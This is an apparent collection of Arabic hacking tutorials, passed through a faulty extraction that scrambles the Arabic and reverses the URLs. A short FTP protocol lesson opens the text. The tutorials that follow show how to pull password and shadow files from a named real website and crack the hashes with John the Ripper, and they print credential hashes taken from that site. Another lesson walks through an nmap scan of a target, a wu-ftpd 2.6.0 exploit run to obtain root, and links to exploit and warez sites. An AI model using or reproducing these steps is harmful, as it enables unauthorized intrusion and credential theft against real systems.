ت ذاتها ل ؟) .. الملفا ر  !!إذن ما الذي كنا نفعله منذ قلی ل الأوام ء وصله لإرسا ل هو إنشا ما قد فعلناه منذ قلی
ل استجابةللنظام و  ر  استقبا   .النظام على الأوام

ریقتین ط   و لكي ننشئ تلك الوصلة ،هناك 
رسل الزبون  تنشئ: الأولي  ریقة الوصلة بان ی ت(هذه الط ح الذي IP رقم) أن ص به و المنفذ المفتو  الخا

ت  ل البیانا   .یستطیع الخادم استخدامه في إرسا
ریقة تتطلب منك فتح حد المنافذ  و لكن تلك الط ص لفتح هذا المنفذ أ خا ج  رنام على جهازك و هذا سیتطلب ب

ریقة  و لذلك لن..    .نستخدم تلك الط
ر: الثانیة  رسل الزبون الأم ریقة الوصلة بان ی   PASV تنشئ هذه الط

Sources Code - شفرة  
PASV  

رد الخادم رقم و سی ح  IP ب ص به و المنفذ المفتو ت(زبون الذي یستطیع ال) على الخادم بالطبع(الخا  )أن
ل علیه    ..الاتصا

ل   مثا
Sources Code - شفرة  

227 Entering Passive Mode (207,189,69,61,12,41)  
 

ل الموجود بین رقم الطوی ره كالتالي  و ال   ..الأقواس تفسی
ت  ص IP هو ال) من الیسار(أول أربع مجموعا حالة یكون  الخا  .. ٢٠٧،١٨٩،٦٩،٦١بالخادم و في هذه ال

ر حسابه كالتالي قمان التالیان فیمثلان رقمأما ال   المنفذ و یتم 
12 ×  256 + 41 = 3113  

 ٣١١٣التالیة التي یجب على الزبون اتباعها هي فتح وصله جدیده مع الخادم على المنفذ  و لذلك فالخطوة
ر یتوجب علیك فتح نافذة ..  ftp.zdnet.com جدیده و تشبك على Telnet ولكي تقوم بمثل هذا الأم

   ..٣١١٣بالمنفذ 
ر سترسله من حد الأوام ت  إذن عندما ترید أن ترسل أ ر بها البیانا   ..النافذة الأولى و النافذة الثانیة ستظه

ل   مثا
ر عندما ترسل ل( LIST الأم ت الدلی حتویا ض م   في النافذة الأولى) یستخدم لعر

Sources Code - شفرة  
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LIST  
ضا  الأولىسیستجیب الخادم بالتالي في النافذة   أی

Sources Code - شفرة  
 

125 Data connection already open; Transfer starting.  
 

ل في النافذة الثانیة ثم ت الدلی حتویا ر م ض  و ستظه ر رد إتمام ع ل في النافذة الثانیة بمج ق الاتصا سیتم غل
ل  ت الدلی حتویا   .م

 
ل ما  و ت دلی حتویا ض م ر ر ع ت أن ترسل أم ف ما ، یجبهكذا كلما أرد ل مل ل أو إرسا ر أو استقبا  أن تبدأ بأم

 PASV .. ت ع الخطوا حساب رقم المنفذ باتبا   .السابقة  ثم تنشئ اتصالا جدیدا بعد 
 

ت  ضوع الممتع  و لكنني لم استطع أن امنع نفسي.. إلى هنا و أظن أنني قد تمادی من مشاركتكم بهذا المو
  ) .ممتع بالنسبة إلي(

 
ت هامة حظا   ملا

ل الآن  -  ء ربما تتسا ج جاهز مثل.. ل رنام ء أن استخدم ب را !! ؟ CuteFTP ألا أستطیع بدلا من كل هذا اله
روتوكول الذي تستخدمه م شیئا عن الب ضرك أن تعل م البروتوكول  بالطبع تستطیع و لكن لن ی و ربما بعد تعل

ص رنامجك الخا   تستطیع أن تصنع ب
ره و -  حتى تستوعب ا اقرأ الدرس م رتین  تم   لفكرة تماما ثم اسأل فیما شئ
ضوع -  ر عن هذا المو م اكث   قم بزیارة المواقع التالیة لتعل

asp.01winsock_ftp_/winsock/com.vbip.www://http  
  )بشده ینصح به(

htm.01winsock_ftp_ref_/winsock/com.vbip.www://http )بشده ینصح به(  
html.0959rfc/rfc/htbin/edu.state-ohio.cis.www://http )ق في  ادلمن ار التعم

روتوكول   ...).الب
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 ) "الجزء الثاني(اختراق المواقع " 
  

$$$$$$$$$$  
  الكندور: الكاتب

$$$$$$$$$$  
  

ق  خترا   :الإ
~~~~~~~~~  

  .المقدمة  -
حول الموقع ؟ - ت  ف أجمع معلوما   كی
ف نقاط الضعف ؟ - ف یتم كش   كی
ف یمكن إستغلال نقاط الضعف المكتشفه ؟ -   كی
رور - ف كلمة الم   ؟ password file ماهو مل
ف ؟ -   بماذا یفیدني هذا المل
ف الباسورد - خلال مل ر من  ف یمكن معرفة كلمة الس   ؟ password file كی
ق بین - ر ف  ماالف ر(إذا كان المل ل(وإذا كان  (encryption مشف ضل   ؟ (shadowed م
ف یتم ك وماذا لو كان - ر ، كی رور مشف ف كلمة الم ره ؟مل   س
ل ، ماذا - ضل رور م ف كلمة الم ل ؟ ولو كان مل   علي ان أعم

<><><><><><><><><><><><><><><><><><><><><><><><><><><><><> 
  

ت قد تقدم الكلام عنها   .....كیفیة جمع المعلوما
~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

- 
ف نقاط الضعف ؟  ف یتم كش   كی

~~~~~~~~~~~~~~~~~~~~~~~~~~  
ج مثللا تس رام حترفین !!هذه للمغفلین فقط ShadowSecurityScaner أو void eye تخدم ب ، الم

ف لا حتر ق ،  واللي یبغا یكون م رد أنه یبغا یختر ق لمج ق ، ولا یختر خترا ت الإ ج في عملیا رام یستخدم ب
ق خترا حكمه عملیه إ ت السطو الم حكم ، وكل عملیا ر تمتاز بالدقه المتناهیه ، والتخطیط الم رف التي   هيسی

ج ومایدري االله رنام ت من اللي یشغل ب رتكبیها ، لكن واالله لو كن ف م طه فصدقني إنك  یصعب إكتشا حا وین 
ث وتم حد ق شئ ، فلو  ت تختر رك ، هذا لو قدر طول عم ح تفلح  ف  مارا ج فسو رام حد من هذه الب ق بوا خترا الإ

  تصطاد بسناره تماما كالسمكه
 
ضع النقاط الأساسیه لكش  ف أ ضعف على موقع ما الآن سو   -:ف نقاط 
  
ر -١ رف ت الموجوده على السی ف على كافه الخدما  . التعر
ل إذا  معرفه نظام  -٢ ر ص بی ر نصو ى مثل مفس ر خ ت أ رمجیا ل وإصدارته وكذلك ملقم الویب وأي ب التشغی
ء  كان را ج للبیع والش رنام خ.....ذلك ممكن ، أو ب  . ال
ت -٣ ل جلسه لإلتقاط كل السكربتا   الموجوده في الموقع ، هذا إذا وجد شئ منها ( Perl - Cgi ) عم
حط -٤ حا  ولاتنسى ت حی ص س هذا  ضعف ، لی ت نقطه  حیانا یكون في البور ت معها ، لأنه أ % ١٠٠البورتا

ت  نقطه ت للبور ج اللي مصلح إنصا رنام ت بعینه ، في الب ت في البور ر(الضعف لیس   )لها هذا أقرب تعبی
را یمكنك الإستفاده م -٥ خی حث عن نقاطأ ت علیها في الب حصل ت التي  ر هذا (ضعف  ن المعلوما خ یوجد في آ

ت قد تفیدك في حتوي على أرشیفا ت المستند مواقع من ظمنها مواقع ت را حصول على الثغ   )ال
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ف یمكن -   إستغلال نقاط الضعف المكتشفه ؟ كی

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
ت والتي یستطیع أ را خلالأبسط الثغ  المتصفح ،  ي مبتدي أن یستخدمها هي تلك التي تنفذ من 

ر ، یكون الإستثمار  خ ریقه(نوع آ ق إسم إستثمار على الط ف نطل ره من الآن سو یكون ) التي تستغل بها الثغ
ره  ج) كود(الإستثمار على شكل شف رنام ف  في sh مكتوب بب ج الغلا رنام س ، وهو ما یسمى بالعربي ب لیونك

ره shell وبالإنجلیزي ف بالإمتداد وتكون هذه الشف ت مل ح س ، وهذا النوع  sh.* ت ت بیئه لیونك ح ل ت وتعم
ت هو س فإن لغه من الإستثمارا ت في لیونك را لتعدد الأداو ق بالقوه ونظ س المختر حس  shell المفضل وی

ت ح ف دفعاتي في ویندوز اصب   (bat) قویه فهي تقابل كتابه مل
ت ثاني و ویوجد نوع من ره الإستثمارا ث C مكتوب بلغه) كود(هو شف حد  المشهوره ، وهذا النوع غالبا ما ت

ر من المتاعب لذلك یجب أن تكون لدیك ء عملیه الترجمه ، قد تواجه كثی خطأ أثنا خلفیه في لغه سي ،  فیه أ
س وترجمته بإستخدام  ..بهذه الصیغة  gcc المترجم ولترجمه هذا النوع علیك بالذهاب الى لیونك

gcc Exploit.c -o Exploit  
حظه مهمه  م یجب أن یكون الإمتداد( ملا س c.* فللل ف ، C.* ولی ر ح ف یترجم  c لو كان  كبتل فسو

ت ،++ الإستثمار وكأنه كتب في سي  ر المكتبا التي یتطلبها الإستثمار قبل  (h.*) الشئ الثاني تأكد من توف
رمجه قد تن و  )تشغیله ت في الب  . فعكعلیك زیاره موقعي فهناك مستندا

ر ره ولكن مكتوبه بلغه یوجد نوع ظه ضا شف ر وهو أی ء ینتش ت وبدا را من الإستثمارا خ ومن  Perl مؤ
ل هذا النوع من موجه الدوس في ویندوز  الممكن ت(أن یتم تشغی را ر شف ج یفس رنام ل  یجب أن تملك ب ر البی

ل ر ف بی   )مثل أكتی
  

رور - ف كلمة الم   ؟ password file ماهو مل
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  

ف من إسمه ، رور معرو ف كلمة الم خول  مل ص لهم بالد خ ر ص الم ت الأشخا حسابا خله توجد  هو الذي في دا
ر ، مثل هذا رف   الى السی

 
------------------------------------------------------------------------------------------------  
root:x:0:1:Super-User:/:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: 

sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer 
Admin:/usr/spool/lp: smtp:x:0:0:Mail Daemon User:/: uucp:x:5:5:uucp 

Admin:/usr/lib/uucp: nuucp:x:9:9:uucp 
Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network 

Admin:/usr/net/nls: nobody:x:60001:60001:Nobody:/: 
noaccess:x:60002:60002:No Access User:/: 

nobody4:x:65534:65534:SunOS 4.x Nobody:/: 
www:x:102:1001::/web:/bin/csh 

mirrors:x:102:1001::/web/mirrors:/web/mirrors/menu 
sid:x:103:10::/export/home/sid:/bin/ksh 

mirror:x:104:1::/home/mirror:/bin/sh 
admin:x:105:1::/home/admin:/bin/sh 

jerome:x:106:1::/home/jerome:/bin/sh erl:x:102:1::/home/erl:/bin/sh 
landmark:x:1000:1000::/web/landmark:/bin/ksh  
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------------------------------------------------------------------------------------------------  
ر ، فعند ختصر بشكل كبی ضح بالأعلى أ ف المو حیث أن هذا المل ر ،  ر بكثی حتوي  وقد تكون أكث حبه كان ی س

حجم فیوجد رور بهذا ال ت الم ت كلما س كل ملفا ف السطور ، لی ر وهي ١٠منها من لا یتجاوز  على آلالا  أسط
ف حین علیك تعر ت ال ره ، على العموم أن رور هو  الموجوده بكث ف كلمة الم خله توجد بأن مل الذي في دا

خول الى ص لهم بالد خ ر ص الم ت الأشخا ر  حسابا رف   ......السی
 
 
ف ؟ بماذا یفیدني هذا -   المل

~~~~~~~~~~~~~~~~~~~~~~~~~~  
ر ت الس حبیب في معرفه كلما ح  یفیدك یا ال ر ق الموقع ، ولكن لاتف خترا ء المستخدمین لكي تقوم بإ ...! وإسما

رور تكون ره ، لا  كلمة الم حالي هي مشف ت ال ره زمان ولكن في الوق ت مشف حا تماما ، كان حی ص س  هذا لی
ضلله   م

ضلله = x او* ر م   Shadowed كلمة س
EpGw4GekZ1B9U = ره على ر مشف ر المستخدم في  ، DES مقیاس كلمة س هذا النوع من التشفی

س و ف ، وهو دائما مكون من  وعدد من الأنظمه FreeBSD لیونك ضعی ى  ر خ ف ورقم١٣الأ ر ح  كبتل  
حتوي من بینها على ر وهو نوع  وسمول ولا ی ر من التشفی خ ء ویندوز فهو یستخدم نوع آ رمز ابداً ، بإستثنا

ضا ف أی  . ضعی
 
 
خلال - ر من  ف یمكن معرفة كلمة الس ف الباسورد كی   ؟ password file مل

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
ضغط ء من الیسار الىفي القس Ctrl + Shift إ را حه المفاتیح لتق الیمین ، ثم إذهب الى  م الأیمن من لو

حبه من الموقع رور تم س ف كلمة م ل لمل ت مثا ضع حیث و   ... hwwilson.com الاعلى 
ر  ر هذا السط   -:تفسی

root:x:0:1:Super-User:/:/sbin/sh  
 

root  
خ المستخدم واللي هو الجذر ض ر یو   root هذا السط

x   ضلله ، یعني مكانهاك    هي رور ، ویتضح انها م ل ،  ، x العلامة لمة الم حی رها فهذا مست ر في كس لا تفك
ف ثاني تم تخزین حث عن مل ف تفعل هذا لكن علیك الب ل كی ف بعد قلی رور ، ستعر   ..فیه كلمة الم

0  
  المستخدم هذا هو رقم

1  
  رقم المجموعه

Super-User:/:/sbin/sh  ش مهم   و   هذا م
++++++++++++++++++++++++++++ 

ء الثالث   الجز
ق - ر ف  ماالف ر(بین إذا كان المل ل(وإذا كان  (encryption مشف ضل   ؟ (shadowed م

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
ل ضل ف الم رور رمز مثل  shadow file المل ل لها وهذا! أو # أو  x أو* یكون مكان كلمة الم   مثا

root:x:0:1:Super-User:/:/sbin/sh     ر تكون كلمة ف المشف رور مكتوبه ولكن  لكن المل الم
ره مثل هذه   root:Q71KBZlvYSnVw:0:1:Super-User:/:/sbin/sh       مشف
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رور ره هي هنا تكون كلمة الم   Q71KBZlvYSnVw المشف
صافیه  ت الصوره  طلع    ....الآن 

 
ر - رور مشف ف كلمة الم ره ؟ ، وماذا لو كان مل ف یتم كس   كی

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
ج رام رها هو الب ره وأشه ر بإسم john the ripper و Crack 5.0a كثی خ  jack the ویوجد آ

ripper ، ل س فهذا جید ، علیك تنزی ل في لیونك ت ممن یجیدون العم  john وأفضل ، Crack 5a إذا كن
the ripper  رید ت john the ripper إستخدام ویندوز ، وللمعولمیه فإنلمن ی ح ضا ت ل أی س  عم لیونك

.....   
ج  رام ل هذه الب ریقه عم   -:ط

ج رنام ضح هنا  ویقوم wordlist یقدم للب ت الموجوده به ، كما هو مو ما   .بمطابقه الكل
--------------------------------------------------- \ Q2wrtUo9LPq2R <------  

ره (البدایه --->یتم مقارنه رورالمشف خذ كلمة من الـ) كلمة الم ت wordlist  مع أ حتى  الكلما  یتم المختاره 
word list   ق ره -> Q6LiJ6ct1oUBz التطاب رور مشف من القائمة  الكلمة المختاره مع كلمة م
ض مثلا  ر ق فهذافاذا song  ولنف ث تطاب حد ر یعني أن   ت مشف رور التي كان ت  هكلمة الم ر   ..قد كس

حظه مهمه  | ------------------------------------------------------------------------------- |  -:ملا
ره رور المشف ت الم ر كلما حه في الأعلى لكس ض ل دوره مثل المو رعه یتم عم   بس

ربه في الثانیه ٥٠٠٠} | النهایه} رنا( تج ختب جjohn the ripperإ رعه  على معال   )٧٠٠بس
| -------------------------------------------------------------------------------  

ل ر التالي john the ripper لتشغی   من واجه دوس نكتب الأم
john -w:wordlist passwd  

ت wordlist حیث ر من الكلما حتوي على عدد كبی ف القاموس الذي ی   هو مل
ف الذي passwd و حت هو المل ره والتي نود معرفتهای رور المشف ت الم   وي على كلما

-------------------------------------------------------------------------------  
Microsoft(R) Windows 98  

C)Copyright Microsoft Corp 1981-1998.(  
 

E:\Desktop\junk\john the ripper>john -w asswd passwd.txt  
 

by Sola 97,John the Ripper Version 1.3 Copyright (c) 1996  
Loaded 1 password  

 
**v: 0 c: 6401 t: 0:00:00:01 99% c/s: 6401 w: *****DONE  

 
>E:\Desktop\junk\john the ripper  

------------------------------------------------------------------------------------------------  
 

ف حفظ النتیجه في المل ف ت روكتري ، وعلیك john.pot وسو س الدای ف إذا  الموجود في نف ف هذا المل حذ
ر إسمه أو نقله في ر جدیده ویمكنك تغیی ء في عملیه كس ت البد ى ذلك  أرد ر ت ت حذفه إذا كن ر بدل من  خ مكان آ

...  
 

ر وهي تسمى ى للكس ر خ ریقه ا ط فأو بالعربي القوه ال brute force ب ـهناك  حتاج لمل  عنیفه ، وهي لا ت
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wordlist ، خانتان و هي تقوم ض في  رموز مع بع ف والأرقام وال رو ح ربه كل ال ت واربع ٣بتج خانا
س  خم حتى..و خ  ت ال حه ، وأنا افضل ان تستخدم ملفا حی رور الص خذ  wordlist تصیب كلمة الم فذلك لن یأ
رسم  معك حه في ال ض ربه المو ربهفي الا ثواني فقط لأن عملیه التج رعة تج ت بأنه س ر ت  بالأعلى ذك الكلما

ت٥٠٠٠یتجاوز   brute القوه العنیفه حینها إذهب الى wordlist  كلمة في الثانیه ، إذا لم تفلح ملفا
force      .... ر التالي یجعل ریقه john the ripper الأم ط ق ذكرها brute force یستخدم    الساب

 
john -i passwd  

 
ف كل passwd حیث ل  مةهو مل ء عم ضغط إنتر أثنا ریقه إ ربه هذه الط ت بتج راد كسره ، إذا قم رور الم الم

ج رنام ى الى أین توصل  الب   ...لتر
ف - ل ؟ ولو كان مل ل ، ماذا علي ان أعم ضل رور م   كلمة الم

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
ف ریقه  دائما سو ط ضلله ، لكن هناك  رور م ل هذه المشكله  Unshadow تسمىتواجه كلمة م ح   !!ل

ف الشادو  إذا ف ثاني یسمى مل حث عن مل ل علیك الب ضل ف م ت مل ف الظل(واجه   shadow file )مل
ف ، ضع به هذا المل ل له مكان یو ف یوجد في امكنه معینه وكل نظام تشغی   :الیك الجدول التالي  وهذا المل

Linux : /etc/shadow token = *  
SunOS : /etc/shadow token =  رها هو ل متعدده اشه خذ أشكا   *یأ

FreeBSD : /etc/master.passwd or /etc/shadow token = * والجدید هو x  
IRIX : /etc/shadow token = x  

AIX : /etc/security/passwd token = !  
ConvexOS : /etc/shadow or /etc/shadpw token = *  

token رمز الذي یوج فتعني ال ت  وهذا ، passwd د في المل ل المهمه ، یعني لو مثلا لقی یفید في تسهی
رور فهذا یعني ان! علامه  رور مسجله في بدل كلمه الم لقد  ، etc/security/passwd/ كلمة الم

ق ذكره ، ت بالجدول الساب ف شادو  إستعن ل على مل ف الذي تخزن فیه كلمة (مثا ف شادو هو المل أكرر مل
حه حی رور الص   )الم

ف   shadow هذا مل
------------------------------------------------------------------------------------------------  
root:EpGw4GekZ1B9U:11390:::::: bin:NP:6445:::::: sys:NP:6445::::::  

adm:IyEDQ6VoRlLHM:10935:::::: #admin:9z8VMm6Ovcvsc:10935:::::: 
lp:NP:6445::::::  

------------------------------------------------------------------------------------------------  
ر موجوده ت الس حظ ان كلما   نلا

ف الباسورد ج مل ره وهي دم خی ف  shadow passwd مع passwd file الخطوه الأ حصل على مل لن
ق ر الساب ج الكس رام ل ونقدمه الى ب   ...ذكرها متكام

حصلنا علیه من ف باسورد    passwd/etc/com.hwwilson.2wilsonweb://http هذا مل
------------------------------------------------------------------------------------------------  
root:x:0:1:Super-User:/:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: 

sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer 
Admin:/usr/spool/lp: smtp:x:0:0:Mail Daemon User:/: uucp:x:5:5:uucp 

Admin:/usr/lib/uucp: nuucp:x:9:9:uucp 
Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network 

Admin:/usr/net/nls: nobody:x:60001:60001:Nobody:/: 
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noaccess:x:60002:60002:No Access User:/: 
nobody4:x:65534:65534:SunOS 4.x Nobody:/: 

  
www:x:102:1001::/web:/bin/csh 

mirrors:x:102:1001::/web/mirrors:/web/mirrors/menu 
sid:x:103:10::/export/home/sid:/bin/ksh 

mirror:x:104:1::/home/mirror:/bin/sh 
admin:x:105:1::/home/admin:/bin/sh 

jerome:x:106:1::/home/jerome:/bin/sh erl:x:102:1::/home/erl:/bin/sh 
landmark:x:1000:1000::/web/landmark:/bin/ksh  

------------------------------------------------------------------------------------------------  
ضح واللي هو token ومن الـ ق ذكره بأن كلمة x المو خلال الجدول الساب ف من  حه في  نعر حی رور الص الم
ل   etc/shadow/ الدلی

  إذن نتوجه بالمتصفح الى
shadow/etc/com.hwwilson.2wilsonweb://http  
حصل عل ف ىلن   المل

------------------------------------------------------------------------------------------------  
root:XOT4AiUKMRcKQ:10643:::::: daemon:NP:6445:::::: 

bin:NP:6445:::::: sys:NP:6445:::::: adm:NP:6445:::::: lp:NP:6445:::::: 
smtp:NP:6445:::::: uucp:NP:6445:::::: nuucp:NP:6445:::::: 

listen:*LK*::::::: nobody:NP:6445:::::: noaccess:NP:6445:::::: 
nobody4:NP:6445:::::: www:WJctaI.8rcSe2:10507:::::: 

mirrors:gg9p.5kwGw1MY:10911:::::: sid:stXldZKnujFYo:10515:::::: 
mirror:iMPWwbrU.gB4k:10601:::::: admin:hDhB5YYKyWgQw:10976:::::: 

jerome:XDqnOl32tPoGo:10976:::::: erl:0jE9Xem4aJYeI:10982:::::: 
landmark:0jCgWu6vl8g0s:11185::::::  

------------------------------------------------------------------------------------------------  
ر الموجوده فیه ولصقها مكان علامه ت الس خ كلما ف الباسورد ، x نقوم بنس وهكذا مع جمیع  في مل

ف  حصل على مل ت لن حسابا جكال رام ل ونقدمه الى ب ل ومتكام رور كام ر لمة م   الكس
حظه مهمه    -:ملا

ف ر ، یعني تربتها لتتعر حساب في سط ر  علیك جعل كل  ج الكس رام   ...علیها ب
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 

ق الزیاره  ح   -:مواقع تست
ف  ت أرشی را   لثغ

html.archive/exploits/com.securiteam.www  
ت را ف لثغ   أرشی

/com.ussrback.www://http  
ت  را ف ثغ ر+ أرشی   الكثی

/com.secureroot.www://http  
ت را ف ثغ   أرشی

/tk.redi.rootshell://http  
ت را ف ثغ   أرشی
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/com.ussrback.www://http  
ت را   مواقع لثغ

exploits/category/com.secureroot.www  
ق ل لمواقع الهاكین   دلی

Hacking/com.hitboss.www  
حث لا غني عنه رك ب ح   م

asp.search/ound...s/resources/com.undergroundnews.www  
Warez.com-Underground 

/com.warez.www://http  
 Hacking  

رید البدایه(  )ممتاز لمن ی
/sk.box.neworder.www://http  

Security Search Engine  
/mco.k2bugs.www://http  

insecure  
/org.insecure.www://http  

</XMP></BODY></HTML>  
pl.formmail/ail...cgi/uk.co.easynet.www.public://http  
  

...  
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 ) "متوسط(درس في اختراق المواقع " 
  

$$$$$$$$$$  
   ICER: الكاتب

$$$$$$$$$$  
  

ت المطلوبه  ت : الادوا ل اكاون ر من الشیلز...شی ف تجد الكثی ت في جوجل سو حث حترمه  واذا ب طبعا الناس الم
حمممم( حیاتها و تریح ) ا ش  س و تعی س او یونیك س...نفسها بتركب لینك حبش اللینك  في ناس تانیه مات

س لها و ممكن یمشي ت كوی ل اكاون ل الاتنین  والشی حاستعم ش    :)انا عن نفسي م
ج الاساسیه زي رام ل لازم یتاكدو انه بیسمح بالب حیستعملو الشی س بالنسبه للي    ب

nslookup, host, dig, ping, traceroute,telnet, ssh, ftp  
ل كومبایلgcc و اساسي لازم ال  ف تعم س و ریح نفسك یا عم ركب ...(  عشان تعر ت  )لینك طبعا الادوا و 

ت nmap and netcatدي  حاجه هي الاكسبلوی ر  خ   .  و ا
ت الهامه * حوظا ض المل   :بع
ف -١ ر و الوظائ ف في الاوام ختلا ت شبیه جدا بالدوس مع ا ل اكاون حصول على ..الشی حناقش كیفیه ال ش  م

ت علیه ره اتكلم ضیع كثی حد لان فیه موا   .وا
ر متقدم هي عباnmap اداه ال -٢ ت سكان    .ره عن بور
ر معینNetCat ال -٣ رفی ت لسی رفع بیانا ت و تقوم ب    . هي اداه شبیه بالتلن
ت  -٤ حیا ج غالبا تكون مكتوبه بلغه السي و هي تقوم باعطائك كافه الصلا رام ت هي عباره عن ب الاكسبلویتا

ت تریده ء ان ل كل شي ق جهاز معین و تقوم بعم   ممكن تلاقیها فین؟؟؟ فهي تختر
ل ت  دور و لو مالقیتش قولي و انا ادیلك كام موقع...مواقع السیكیوریتي على افه من یشی حاجا تجیب منه ال

  ....دي
ضوع * رتبطه بالمو   :المواقع الم

a) Linux (http://www.slackware.com(  
b) Nmap (http://www.insecure.org(  

c) NetCat (http://www.l0pht.com/~weld/netcat(/  
  

ت الخطو   -:ا
ت -١ ش عالن خ س و  س ( ركب الینك حسن من اللینك ش ا ش قلتلك مفی    )P:م
  :  متبعا التالي nmap ركب الاداه -٢
*١ (tar zxvf nmap.tar.gz  
٢ (cd nmap  
٣/. (configure && make && make install  
  
ف و لیكن -٣ ف الموقع المستهد   ..شو

www.target.com  
ف الاي بي تبع الموقع باستخ-٤   nslookup www.target.com  دام  شو

ض لك الاي بي للموقع و لیكن  ف یعر   ١٩٦٫١٫٢٫٣هذا سو
ل  متبعا التالي -٥ ف  نظام التشغی ت اللي بیقدمها الموقع و كمان شو ف الخدما   -: شو
  
"nmap -sS -O 196.1.2.3"  
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ت شبه الكلام ده  رجا ض انه یدیك مخ رو   -:المف
root@IcEr:~# nmap -sS -O 196.1.2.3  

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap( /  
Interesting ports on www.target.com (196.1.2.3:(  

)The 1531 ports scanned but not shown below are in state: closed(  
Port State Service  

٢١/tcp open ftp  
٢٥/tcp open smtp  
٨٠/tcp open http  
١١١/tcp open sunrpc  
١١٣/tcp open auth  
٥١٥/tcp open printer  
٩٦٣/tcp open unknown  
١٠٢٤/tcp open kdm  
٤٤٤٤/tcp filtered krb524  
٦٠٠٠/tcp open X11  
٦٦٩٩/tcp filtered napster  

OS guess for host: Linux 2.2.14-2.2.16  
Uptime 0.160 days (since Mon Apr 30 14:51:06 2001(  

Nmap run completed -- 1 IP address (1 host up) scanned in 67 seconds  
root@IcEr:#~  

  
ل     :)تمام كده یا شباب    ...نكم

حه ت المفتو ف للموقع  یوریك البورتا ف لو كان فیه ..الكلام ده كله عباره عن استكشا  FTPممكن تشو
daemon  حنلاقیه موجود و ده ق  ل اللي فو ل على الموقع و لا  في المثا سشغا    كوی
ر ف اي فی   -:  موجوده متبعا التالي FTP daemonین من جشو

"telnet 196.1.2.3 21"  
  او
"ftp 196.1.2.3"  

ر رفی ف تي بي دیمون اللي شغاله على السی رجین بتاعه الا ر فیه الفی حیدیك بان   ممكن یكون زي كده  اي منهم 
  

root@IcEr:~# ftp 196.1.2.3  
Connected to 196.1.2.3.  

٢٢٠ www.target.com FTP server (Version wu-2.6.0(1) Mon Mar 6 
13:54:16 SAST 2000(  

ready.  
Name (target:root): anonymous  

٣٣١ Guest login ok, send your complete e-mail address as password.  
Password:  

٢٣٠-Welcome, archive user! This is an experimental FTP server. If have 
any  
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٢٣٠-unusual problems, please report them via e-mail to 
root@IcEr.pandora.net  

٢٣٠-If you do have problems, please try using a dash (-) as the first 
character  

٢٣٠-of your password -- this will turn off the continuation messages 
that may  

٢٣٠-be confusing your ftp client.  
٢٣٠-  
٢٣٠ Guest login ok, access restrictions apply.  

Remote system type is UNIX.  
Using binary mode to transfer files.  

ftp>by  
root@IcEr:#~  

رجین الموجوده هي  ف ان الفی   .wu-2.6.0من الكلام ده تقدر تعر
حاولنا نخش كمجهولین  حنا  ضا ا حه   anonymousو ای ت اعملیه ناج   )؛و كان

حبیب المختار #######    #######صلي على ال
خطوه ٨ او ٧ ر المهم انها اهم  ش فاك   -: م

رجین دیه من  ت  بتاعه الفی حصل على الاكسبلوی ش میتوهش (   .FTPdا ر ل سی   )اللي یعم
  wuftpd2600.cو لتكن  

حتلاقي انها متكوده عشان نظام ت السورس كود بتاعها  ل معین و لیكن المهم لو شف   red hat 6.2 تشغی
ل ده ل على نظام التشغی ف بیعم ل   و یا سلام لو كان الموقع المستهد ل كومبای كده یبقى كل اللي تعمله انك تعم

حیدیك  ف  و كده  ر الموقع المستهد رف ره دي و بشغلها على سی   root accessللثغ
root@IcEr:~/# ./wuftpd2600 -t -s 0 196.1.2.3  

Target: 196.1.2.3 (ftp/<shellcode>): RedHat 6.2 (?) with wuftpd 2.6.0(1) 
from rpm  

Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152  
loggin into system..  

USER ftp  
٣٣١ Guest login ok, send your complete e-mail address as password.  

PASS <shellcode<  
٢٣٠-Next time please use your e-mail address as your password  
٢٣٠- for example: icer@ae.net  
٢٣٠ Guest login ok, access restrictions apply.  

STEP 2 : Skipping, magic number already exists: 
[87,01:03,02:01,01:02,04[  

STEP 3 : Checking if we can reach our return address by format string  
STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C me now(  

STEP 5 : Sending code.. this will take about 10 seconds.  
Press ^\ to leave shell  

Linux lame_box.za.net 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 
unknown  

uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp(  
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Bang! You have root!  
ل  ر الكومبای ت ام ر ده ..طبعا انا نسی ف الام   man gcc  شو

ل  ر الكومبای ت كامله عن ام حیدیلك معلوما ت اللي معاه..و هوه  ت اللي  بكل الخیارا كده یبقى انا كده عمل
ل ایه علیه  ر اعم ش یسالني باه بعد كده و یقولي یاواد یا ایس حد   م

search..U will find what U wanna  
ت بعد كده ..ت اه نسی...طیب  ت كا ل بالن ش سالني اعم حد حتاجه..م ت بت را ض الثغ   ..بع

خاصیه ال  ت اننا استغلینا  حظ ت الخاصیه..  الموجوده annonymousلو لا ش  لاكن لو كان دي م
ل الكلام ده..موجوده  ف نكم حنعر ش  ش تشتغل  ..... یبقى م ت م حاله ..عشان الاكسبلوی في هذه ال

ش تشتغل الا لو  ت م ع الموقع معانا باسورد و یوزر نیمالاكسبلوی ف تي بي بتا   ..عشان نخش على الا
ت ع الاكسبلوی س و شغل..عشان كده لازم تقرا السورس بتا ت لها ساینتك ص بیها و كل اكسبلوی س ..خا ب

حده   ....المبادئ الاساسیه و ا
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  "SQLاختراق الـ" 
  

$$$$$$$$$$$$  
   linuxray: الكاتب

$$$$$$$$$$$$  
  
  ؟؟  )SQL( في البدایة ماهي الاس كیو ال  :س
  

